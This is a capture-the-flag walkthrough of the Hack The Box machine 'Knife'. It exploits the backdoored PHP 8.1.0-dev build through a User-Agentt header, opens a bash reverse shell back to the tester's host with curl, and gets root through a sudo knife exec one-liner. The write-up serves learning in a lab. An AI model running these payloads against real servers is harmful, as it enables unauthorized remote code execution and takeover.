Hack The Box — Knife Walkthrough
Difficulty: Easy · OS: Linux (Ubuntu 20.04) · Target IP: 10.129.61.67 · Date: September 21, 2026
Overview
Knife is a retired Easy-rated Linux box on Hack The Box, and it's one of the most satisfying beginner machines on the platform precisely because of how little complexity it involves. The entire path from unauthenticated visitor to root comes down to two things: a backdoored PHP development build that was briefly published to the official PHP repository in 2021, and a misconfigured sudo rule that grants a low-privilege user passwordless access to a Ruby-based CLI tool. No fuzzing, no brute-forcing, no rabbit holes. Just reading what the server tells you and knowing what to search for. I want to walk through exactly how I approached it, including a small syntax issue I ran into during exploitation, because those details are usually the most useful part of a writeup.
Reconnaissance
I started with a full TCP service and version scan:
nmap -sSCV -vv -oN knife 10.129.61.67
The results were minimal but clean:
| Port | Service | Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 8.2p1 Ubuntu | Standard, nothing unusual |
| 80 | HTTP | Apache 2.4.41 (Ubuntu) | Web application running |
Only two ports open. SSH looked completely stock — no unusual version, no exposed banner info worth pursuing. Everything pointed to the web server being the entry point.
Enumeration
Web Server (Port 80)
Before opening a browser, I ran whatweb to fingerprint the tech stack:
whatweb http://10.129.61.67/
http://10.129.61.67/ [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5,
HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.129.61.67],
PHP[8.1.0-dev], Script, Title[Emergent Medical Idea],
X-Powered-By[PHP/8.1.0-dev]
The X-Powered-By header showed PHP/8.1.0-dev. That version string stopped me cold. You never see a -dev suffix on a production server under normal circumstances, that designation means a pre-release development build, something that would only exist on a developer's local machine or a testing environment, never in production. I searched the exact string immediately and found what I was looking for: in March 2021, this exact build had been briefly pushed to the official PHP GitHub repository with a deliberately planted backdoor. It was caught and removed quickly, but not before it became a well-documented vulnerability. The website itself is a generic "Emergent Medical Idea" landing page, but that was irrelevant, the version string was the entire attack surface.
Foothold — PHP 8.1.0-dev Backdoor RCE
How the Backdoor Works
The backdoor is elegant in how simple it is. The malicious commit added a check for a custom HTTP header named User-Agentt (tt, intentional). If the header value starts with the string zerodium, everything that follows gets passed directly into PHP's eval() function. No authentication. No rate limiting. No validation of any kind. Anyone who knows the header name and the trigger string gets arbitrary server-side code execution on any server running this build.
Confirming Code Execution
I confirmed the backdoor was present and responding with a simple test:
curl -s http://10.129.61.67/ -H 'User-Agentt: zerodiumsystem("echo START; id; echo END;");'
START
uid=1000(james) gid=1000(james) groups=1000(james)
END
<!DOCTYPE html>
...
Output appeared before the HTML body, confirming that system() was executing and printing to stdout before the page rendered. I was already running commands as james.
A note on syntax: I did hit one issue during testing. My initial attempts used single quotes inside the header value, e.g. zerodiumsystem('echo TEST123;'), which consistently returned a PHP-CGI error (No input file specified.) with no command output. The fix was switching to double quotes around the shell command and adding a semicolon after the closing parenthesis: zerodiumsystem("command;"). That's the exact syntax eval() expects here, and it won't produce output if you get the quoting wrong.
Getting a Shell
With code execution confirmed, I set up a listener:
nc -lvnp 4444
Then sent a bash reverse shell through the same header:
curl -s http://10.129.61.67/ -H 'User-Agentt: zerodiumsystem("bash -c '\''bash -i >& /dev/tcp/10.10.15.0/4444 0>&1'\''");'
The shell came back immediately on my listener. I was in as james.
Shell Stabilization
A raw netcat shell has no TTY, no arrow keys, no tab completion, and Ctrl+C kills the session instead of the foreground process. I upgraded it before doing anything else:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z to background
stty raw -echo; fg
export TERM=xterm
That gave me a fully interactive terminal that behaved like a normal SSH session.
User Flag
cat /home/james/user.txt
Privilege Escalation — knife sudo Misconfiguration
Enumeration
The first thing I check after landing a shell is always sudo permissions:
sudo -l
Matching Defaults entries for james on knife:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knife
james can run /usr/bin/knife as root with no password required. knife is the command-line interface for Chef, a Ruby-based configuration management framework used to automate infrastructure provisioning. It has a subcommand called exec that evaluates arbitrary Ruby code in the context of the running process. This is a well-known GTFOBins entry: any binary that can execute code and is granted passwordless sudo access becomes a direct path to root.
Exploitation
sudo /usr/bin/knife exec -E 'exec "/bin/bash"'
The -E flag tells knife exec to evaluate a Ruby expression. exec "/bin/bash" is a Ruby call that replaces the current process image with /bin/bash, since knife is already running as root under sudo, the shell it spawns inherits root privileges directly. No exploit, no CVE, no shellcode. Just a misconfigured permission doing exactly what you'd expect it to do.
root@knife:/home/james#
Root Flag
cat /root/root.txt
Attack Chain Summary
- Recon: nmap showed only SSH and HTTP.
whatwebfingerprinted the web server and revealedPHP/8.1.0-devin theX-Powered-Byheader. - Vulnerability identification: the
-devversion string pointed to the March 2021 PHP backdoor incident. TheUser-Agenttheader with azerodiumprefix passes arbitrary input toeval(). - RCE confirmation:
zerodiumsystem("id;")executed and returneduid=1000(james), confirming unauthenticated code execution. - Reverse shell: bash reverse shell delivered through the same header; shell caught as
james. - Privilege escalation:
sudo -lrevealedjamescould run/usr/bin/knifeas root with no password;knife exec -E 'exec "/bin/bash"'spawned a root shell directly.